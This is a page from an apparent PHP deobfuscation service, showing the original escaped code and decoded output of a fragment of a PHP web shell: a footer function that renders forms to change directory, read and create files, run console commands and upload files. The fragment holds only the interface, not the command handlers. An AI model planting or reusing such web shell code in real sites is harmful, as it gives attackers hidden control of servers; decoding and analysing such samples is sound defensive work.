Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* goto tR9xz; */ qhLgb: function hardFooter() { $is_writable = is_writable($..

Decoded Output download

<?php 
/* goto tR9xz; */ 
qhLgb: function hardFooter() { 
    $is_writable = is_writable($GLOBALS["cwd"]) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>"; 
    echo "
</div>\xa<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
\x9<tr>\xa	\x9<td><form onsubmit="".(function_exists("actionFilesMan") ? "g(null,this.c.value,'');" : ''). 
    "return false;"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS["cwd"]). 
    "'><input type=submit value='submit'></form></td>\xa	\x9<td><form onsubmit="".(function_exists("actionFilesTools") ? "g('FilesTools',null,this.f.value);" : ''). 
    "return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
\x9</tr><tr>\xa	\x9<td><form onsubmit="".(function_exists("actionFilesMan") ? "g('FilesMan',null,'mkdir',this.d.value);" : ''). 
    "return false;"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
\x9	<td><form onsubmit="".(function_exists("actionFilesTools") ? "g('FilesTools',null,this.f.value,'mkfile');" : ''). 
    "return false;"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\xa\x9</tr><tr>
\x9\x9<td><form onsubmit="".(function_exists("actionConsole") ? "g('Console',null,this.c.value);" : ''). 
    "return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\xa		<td><form method='post' ".(!function_exists("actionFilesMan") ? " onsubmit="return false;" " : ''). 
    "ENCTYPE='multipart/form-data'>\xa\x9	<input type=hidden name=a value='FilesMan'>
\x9	<input type=hidden name=c value='".htmlspecialchars($GLOBALS["cwd"]). 
    "'>\xa\x9	<input type=hidden name=p1 value='uploadFile'>
	\x9<input type=hidden name=ne value=''>\xa	\x9<input type=hidden name=charset value='".(isset($_POST["charset"]) ? $_POST["charset"] : ''). 
    "'>
		<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\xa	</tr></table></div>
	<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
\x9<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\xa	</body></html>"; 
} ?>

Did this file decode correctly?

Original Code

<?php
/* goto tR9xz; */
qhLgb: function hardFooter() {
    $is_writable = is_writable($GLOBALS["\143\167\144"]) ? "\40\x3c\x66\157\156\x74\40\x63\x6f\154\x6f\x72\x3d\x27\43\106\106\104\102\65\x46\47\76\x5b\40\127\162\151\x74\x65\x61\142\x6c\x65\40\135\74\57\x66\x6f\x6e\164\76" : "\x20\74\146\x6f\156\x74\40\x63\157\x6c\x6f\162\x3d\x72\145\x64\x3e\50\116\157\164\x20\x77\x72\151\164\141\x62\x6c\x65\51\74\x2f\146\x6f\x6e\164\x3e";
    echo "\12\x3c\57\x64\151\166\76\xa\x3c\x74\x61\142\x6c\x65\x20\143\154\141\x73\x73\x3d\151\x6e\x66\157\x20\151\x64\75\x74\157\157\154\x73\x54\x62\154\40\143\x65\x6c\x6c\x70\x61\x64\144\151\x6e\x67\75\x33\x20\143\145\154\x6c\x73\160\x61\143\151\156\x67\x3d\60\40\x77\151\x64\164\150\75\x31\x30\x30\x25\76\12\x9\74\164\162\x3e\xa\11\x9\74\164\144\76\x3c\146\157\x72\x6d\40\157\x6e\x73\x75\142\155\x69\164\x3d\x22".(function_exists("\141\x63\164\151\157\156\106\x69\x6c\x65\x73\x4d\141\156") ? "\x67\50\x6e\165\154\154\x2c\164\150\x69\163\x2e\143\56\166\x61\154\165\x65\54\x27\x27\x29\x3b" : '').
    "\162\145\164\165\162\156\x20\x66\x61\x6c\x73\x65\73\42\76\74\x73\160\x61\x6e\x3e\x43\150\141\x6e\147\145\40\x64\x69\x72\72\x3c\57\x73\x70\141\x6e\x3e\74\x62\x72\76\x3c\x69\156\x70\165\164\40\143\154\x61\163\x73\75\47\164\157\x6f\x6c\x73\111\x6e\x70\47\x20\164\171\160\x65\75\x74\145\x78\164\40\156\x61\155\145\75\x63\40\x76\x61\154\165\x65\75\x27".htmlspecialchars($GLOBALS["\x63\167\x64"]).
    "\47\x3e\x3c\x69\156\160\165\164\x20\x74\x79\x70\145\x3d\163\165\142\x6d\151\x74\40\166\x61\x6c\x75\x65\x3d\47\x73\x75\x62\x6d\x69\x74\x27\76\74\x2f\146\x6f\x72\155\76\x3c\x2f\x74\144\76\xa\11\x9\74\x74\x64\76\x3c\146\x6f\162\x6d\x20\157\156\x73\x75\x62\155\151\x74\x3d\x22".(function_exists("\141\143\x74\151\x6f\x6e\106\151\154\x65\x73\x54\x6f\x6f\154\x73") ? "\147\50\x27\106\x69\x6c\x65\163\124\x6f\x6f\x6c\x73\x27\54\156\165\154\x6c\54\x74\150\x69\163\x2e\x66\x2e\166\141\x6c\x75\x65\x29\x3b" : '').
    "\162\x65\x74\165\x72\156\x20\146\141\x6c\x73\x65\73\42\x3e\x3c\x73\x70\141\156\76\122\145\141\144\x20\146\x69\154\x65\x3a\x3c\x2f\x73\160\141\x6e\76\74\142\162\x3e\x3c\151\156\x70\165\x74\x20\x63\154\x61\163\x73\x3d\47\164\x6f\x6f\154\163\x49\x6e\160\x27\40\164\171\160\145\75\164\145\x78\x74\40\156\141\x6d\x65\x3d\x66\x20\x72\x65\161\x75\x69\x72\x65\x64\x3e\x3c\x69\x6e\x70\x75\x74\40\164\171\160\x65\x3d\x73\165\x62\155\x69\x74\40\166\141\x6c\165\x65\x3d\x27\x73\165\x62\x6d\x69\x74\x27\76\x3c\x2f\146\x6f\x72\155\76\x3c\x2f\x74\x64\x3e\12\x9\74\57\x74\x72\x3e\x3c\x74\162\x3e\xa\11\x9\74\164\x64\x3e\74\146\x6f\x72\x6d\x20\x6f\156\163\x75\x62\x6d\151\x74\75\42".(function_exists("\x61\143\x74\151\x6f\x6e\x46\151\x6c\x65\x73\115\x61\156") ? "\147\x28\x27\106\x69\154\145\x73\x4d\x61\156\47\54\156\165\154\x6c\x2c\x27\155\153\x64\151\162\47\x2c\164\150\151\163\x2e\x64\56\166\141\154\x75\145\x29\73" : '').
    "\x72\x65\x74\165\x72\156\40\x66\x61\x6c\x73\145\73\x22\x3e\74\x73\x70\x61\x6e\76\x4d\x61\x6b\x65\x20\144\x69\x72\x3a\x3c\57\x73\160\x61\156\76{$is_writable}\x3c\142\x72\x3e\74\x69\x6e\160\165\164\x20\x63\x6c\141\163\x73\75\x27\164\157\x6f\x6c\163\111\x6e\160\x27\40\x74\171\160\x65\75\x74\x65\x78\164\x20\156\x61\155\x65\x3d\144\x20\x72\145\161\x75\151\162\145\144\x3e\x3c\x69\156\160\165\x74\40\x74\x79\160\x65\x3d\163\x75\142\155\151\x74\40\166\141\x6c\x75\x65\75\47\163\165\x62\x6d\x69\x74\47\76\x3c\x2f\x66\x6f\x72\x6d\x3e\74\x2f\x74\144\76\12\x9\11\x3c\x74\144\x3e\x3c\x66\x6f\162\x6d\40\x6f\x6e\163\165\142\x6d\151\x74\x3d\x22".(function_exists("\x61\x63\x74\x69\x6f\x6e\x46\151\154\145\x73\x54\157\157\x6c\x73") ? "\147\50\47\x46\x69\x6c\145\x73\x54\157\x6f\x6c\x73\x27\54\156\165\154\154\54\164\150\151\163\x2e\146\56\166\141\x6c\165\145\x2c\x27\x6d\153\x66\x69\154\145\x27\51\73" : '').
    "\162\145\164\x75\x72\156\x20\x66\x61\x6c\163\145\x3b\x22\76\x3c\163\x70\141\156\76\x4d\141\x6b\145\40\146\x69\x6c\x65\72\x3c\x2f\163\x70\x61\156\76{$is_writable}\x3c\x62\x72\x3e\74\x69\x6e\x70\x75\164\40\x63\x6c\x61\x73\x73\75\x27\164\x6f\x6f\154\x73\111\x6e\160\x27\40\164\x79\160\x65\75\164\145\170\x74\x20\x6e\141\155\145\x3d\x66\x20\162\145\161\165\151\162\145\x64\76\74\151\x6e\x70\x75\x74\x20\x74\171\160\145\75\163\165\x62\x6d\x69\x74\x20\x76\141\x6c\165\x65\75\x27\163\x75\142\x6d\151\x74\x27\x3e\74\x2f\x66\x6f\162\155\76\x3c\x2f\x74\x64\x3e\xa\x9\x3c\57\x74\162\76\74\x74\162\76\12\x9\x9\74\x74\x64\x3e\x3c\146\157\x72\155\x20\157\x6e\163\x75\142\x6d\x69\164\75\42".(function_exists("\141\143\x74\151\157\x6e\x43\x6f\x6e\163\x6f\x6c\145") ? "\147\50\47\x43\x6f\156\163\157\154\145\47\54\x6e\x75\154\x6c\x2c\x74\150\x69\163\x2e\143\x2e\166\141\154\165\x65\51\73" : '').
    "\x72\x65\164\x75\x72\156\x20\146\x61\154\x73\x65\73\x22\x3e\74\163\160\x61\156\76\x45\x78\145\143\165\164\145\72\74\57\163\x70\141\156\x3e\74\142\162\x3e\74\x69\156\x70\165\x74\40\143\x6c\141\163\x73\75\x27\x74\x6f\157\x6c\x73\111\156\160\x27\40\x74\171\160\145\x3d\x74\145\170\x74\40\156\141\x6d\x65\75\x63\40\x76\141\x6c\x75\145\x3d\x27\x27\76\x3c\151\x6e\x70\165\x74\40\164\x79\x70\x65\75\163\165\142\x6d\x69\x74\40\166\x61\x6c\x75\145\75\47\x73\x75\142\155\x69\164\47\x3e\x3c\x2f\146\x6f\162\x6d\x3e\74\57\164\144\x3e\xa\11\11\74\x74\144\x3e\x3c\x66\x6f\x72\155\x20\x6d\x65\x74\x68\157\x64\x3d\x27\160\157\163\164\47\40".(!function_exists("\x61\x63\x74\x69\x6f\x6e\x46\151\x6c\145\x73\115\141\x6e") ? "\x20\x6f\156\163\x75\x62\155\x69\x74\75\42\162\145\164\165\x72\x6e\40\x66\141\x6c\163\x65\x3b\42\x20" : '').
    "\105\116\x43\x54\131\120\105\x3d\x27\155\x75\154\164\x69\x70\141\162\164\57\x66\157\x72\155\55\144\x61\x74\x61\x27\76\xa\x9\11\x3c\x69\156\160\165\x74\40\x74\171\x70\x65\x3d\x68\151\x64\x64\145\x6e\x20\156\x61\155\x65\75\x61\x20\166\141\154\x75\145\75\47\106\151\x6c\145\x73\x4d\x61\156\47\76\12\x9\11\x3c\151\156\160\165\164\40\x74\x79\x70\x65\75\x68\x69\x64\x64\x65\x6e\40\156\141\155\145\75\143\x20\x76\141\154\x75\x65\75\x27".htmlspecialchars($GLOBALS["\143\x77\144"]).
    "\47\x3e\xa\x9\11\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\x65\x3d\x68\151\x64\144\145\x6e\x20\156\x61\x6d\145\x3d\160\x31\40\x76\141\x6c\165\x65\x3d\47\165\x70\x6c\157\141\144\106\151\x6c\x65\47\76\12\11\x9\74\x69\156\160\165\x74\40\164\x79\x70\x65\75\x68\x69\x64\x64\145\x6e\x20\x6e\x61\155\145\75\x6e\145\x20\166\x61\x6c\165\145\x3d\x27\47\x3e\xa\11\x9\x3c\151\x6e\x70\165\x74\40\x74\171\x70\x65\x3d\x68\x69\x64\144\x65\x6e\40\156\141\155\x65\75\143\150\x61\162\163\x65\164\40\x76\141\x6c\165\x65\75\x27".(isset($_POST["\x63\150\x61\162\x73\x65\164"]) ? $_POST["\143\x68\x61\x72\x73\145\164"] : '').
    "\47\76\12\11\11\74\x73\160\141\x6e\x3e\125\160\x6c\x6f\141\x64\40\x66\x69\154\145\72\x3c\57\163\160\x61\156\x3e{$is_writable}\74\142\x72\76\x3c\151\156\x70\x75\164\x20\x63\154\141\163\x73\x3d\47\x74\157\x6f\154\163\x49\x6e\x70\47\40\164\171\x70\145\x3d\x66\151\154\145\x20\x6e\141\x6d\x65\75\146\133\x5d\x20\40\155\x75\x6c\164\x69\x70\154\x65\x3e\x3c\151\156\x70\x75\x74\40\164\171\160\145\75\163\165\142\155\x69\164\x20\x76\141\x6c\165\145\x3d\47\163\x75\142\155\x69\x74\x27\x3e\x3c\57\x66\157\x72\155\x3e\x3c\x62\162\40\x20\76\74\57\x74\144\76\xa\11\74\x2f\164\162\76\x3c\x2f\164\141\x62\x6c\145\76\x3c\57\144\151\166\76\12\11\74\x21\x2d\55\40\160\141\162\164\x69\x63\x6c\x65\x73\x20\x2d\x2d\x3e\40\74\x64\x69\166\40\x69\144\x3d\47\160\141\162\x74\151\143\154\145\x73\55\152\x73\x27\x3e\x3c\x2f\x64\x69\166\x3e\x3c\x73\x63\162\151\x70\164\x20\x73\x72\143\x3d\x27\x68\164\164\160\x3a\x2f\57\x63\x64\156\56\152\x73\144\x65\154\151\166\162\x2e\x6e\x65\164\57\x70\141\x72\x74\151\x63\154\145\163\x2e\x6a\x73\57\62\x2e\x30\56\x30\x2f\160\x61\x72\164\151\x63\154\145\x73\56\155\x69\156\56\x6a\163\47\x3e\74\57\x73\x63\162\151\x70\164\x3e\12\x9\74\x73\x63\x72\151\160\x74\x3e\160\141\x72\x74\x69\x63\154\145\x73\112\x53\x28\47\x70\141\x72\164\x69\143\x6c\x65\x73\x2d\x6a\x73\47\54\40\x7b\x27\x70\141\x72\x74\151\x63\x6c\145\163\47\72\x7b\x27\x6e\x75\x6d\142\145\162\x27\72\173\x27\x76\141\154\x75\x65\x27\x3a\70\60\x2c\47\x64\145\x6e\163\151\164\x79\x27\72\173\47\145\x6e\141\x62\154\x65\x27\x3a\164\x72\165\145\54\47\x76\x61\154\165\x65\x5f\141\x72\145\x61\x27\72\x38\x30\60\175\175\54\47\x63\157\x6c\x6f\x72\x27\x3a\173\x27\166\x61\x6c\165\145\x27\72\47\x23\146\x66\146\146\146\146\47\x7d\x2c\x27\163\150\x61\x70\145\47\x3a\x7b\47\164\x79\160\145\47\x3a\47\x74\162\x69\x61\x6e\x67\x6c\x65\x27\x2c\x27\x73\x74\x72\157\x6b\145\47\72\x7b\47\167\151\x64\164\x68\x27\x3a\60\54\x27\x63\x6f\x6c\x6f\162\x27\72\x27\x23\60\60\x30\x30\x30\x30\x27\175\54\x27\160\x6f\x6c\x79\x67\157\x6e\47\72\173\47\x6e\x62\137\163\x69\x64\145\x73\x27\x3a\65\x7d\x2c\x27\x69\155\x61\147\x65\x27\x3a\173\x27\x73\x72\143\47\72\47\151\x6d\147\x2f\x67\151\x74\x68\165\x62\56\x73\x76\x67\x27\x2c\47\167\151\144\164\150\x27\72\61\60\60\x2c\47\150\x65\151\x67\150\x74\x27\72\x31\x30\60\175\175\x2c\47\157\160\141\143\151\x74\171\x27\72\173\47\x76\141\x6c\165\145\x27\x3a\60\x2e\65\x2c\47\x72\x61\x6e\144\157\x6d\47\72\x74\162\165\x65\x2c\47\141\x6e\151\155\x27\72\173\x27\x65\156\x61\x62\154\145\x27\72\146\141\x6c\x73\145\54\47\x73\160\145\145\x64\x27\x3a\x31\x2c\47\x6f\x70\x61\x63\x69\164\171\x5f\155\x69\x6e\47\72\x30\56\x31\x2c\47\x73\171\156\143\x27\72\146\141\x6c\x73\x65\x7d\x7d\54\x27\x73\x69\x7a\145\47\72\173\47\166\x61\154\165\x65\x27\x3a\63\x2c\x27\162\141\x6e\x64\157\155\x27\x3a\x74\x72\165\145\54\47\141\156\151\155\47\x3a\173\47\x65\156\141\x62\x6c\x65\47\72\146\x61\x6c\x73\145\x2c\x27\163\x70\x65\145\x64\x27\72\x34\x30\54\x27\163\x69\x7a\x65\137\155\x69\156\x27\72\x30\x2e\x31\54\47\x73\x79\156\143\x27\72\x66\x61\x6c\163\x65\x7d\x7d\x2c\47\x6c\x69\156\145\137\x6c\x69\156\x6b\145\x64\47\72\173\x27\145\156\x61\x62\154\145\x27\x3a\164\x72\x75\145\x2c\47\144\x69\163\x74\x61\156\143\145\47\72\62\x30\x30\x2c\47\x63\157\x6c\157\162\47\72\x27\x23\x66\x66\x66\x66\146\x66\47\54\x27\157\x70\x61\x63\151\164\x79\x27\x3a\60\56\64\x2c\47\x77\151\144\x74\x68\47\x3a\61\175\x2c\47\x6d\157\x76\145\47\72\173\47\x65\x6e\x61\x62\154\x65\47\72\164\162\x75\145\54\47\x73\x70\145\x65\144\47\72\x31\x2c\47\144\x69\x72\x65\143\164\151\x6f\156\47\72\x27\156\157\156\x65\x27\54\47\162\141\x6e\x64\157\155\x27\72\x74\162\165\x65\x2c\x27\163\164\162\x61\x69\147\150\164\47\x3a\x66\141\x6c\x73\145\54\47\157\165\164\x5f\x6d\x6f\144\x65\x27\72\x27\157\x75\164\47\x2c\47\x62\157\x75\156\143\x65\x27\72\146\x61\x6c\163\x65\x2c\47\x61\x74\164\x72\141\x63\x74\47\72\173\x27\x65\156\141\142\x6c\145\x27\72\x66\x61\x6c\x73\x65\54\47\162\x6f\x74\x61\x74\x65\130\47\x3a\61\x30\x30\x30\x30\x2c\x27\x72\x6f\164\x61\x74\x65\x59\x27\72\x31\x30\x30\60\60\x7d\x7d\175\x2c\x27\x69\156\x74\x65\162\141\143\164\x69\x76\x69\164\171\x27\x3a\173\47\x64\x65\x74\145\x63\164\137\157\x6e\47\72\47\143\x61\156\x76\x61\x73\47\54\47\x65\166\145\x6e\x74\163\x27\72\x7b\47\157\x6e\x68\157\166\x65\162\x27\72\x7b\47\145\156\141\x62\154\145\x27\72\164\162\x75\145\x2c\47\155\157\x64\x65\47\x3a\x27\147\162\x61\x62\47\x7d\54\47\x6f\x6e\143\154\151\x63\x6b\47\x3a\173\x27\145\x6e\141\142\154\145\x27\x3a\164\x72\165\145\x2c\47\x6d\x6f\x64\145\47\x3a\47\x72\145\160\x75\154\x73\x65\x27\x7d\54\47\x72\145\x73\x69\172\145\47\x3a\x74\x72\x75\x65\x7d\x2c\47\155\157\x64\x65\x73\47\72\173\47\x67\162\x61\142\x27\72\173\x27\144\x69\163\164\x61\156\143\145\47\72\x32\60\60\x2c\x27\x6c\151\156\x65\x5f\154\151\156\153\145\x64\47\72\x7b\47\x6f\160\x61\x63\x69\164\x79\47\72\x30\56\65\175\175\x2c\x27\142\165\142\142\x6c\x65\x27\72\x7b\x27\x70\141\162\x74\151\143\x6c\145\163\x5f\x6e\142\x27\x3a\x32\x7d\x7d\175\54\47\162\x65\x74\x69\156\141\x5f\x64\145\164\x65\x63\x74\x27\72\164\162\165\x65\x7d\x29\73\x3c\x2f\x73\x63\x72\x69\160\x74\x3e\xa\11\x3c\57\142\x6f\144\171\x3e\x3c\x2f\x68\x74\155\x6c\x3e";
}

Function Calls

None

Variables

None

Stats

MD5 98e3ede456a3082c00bd62665e528d36
Eval Count 0
Decode Time 123 ms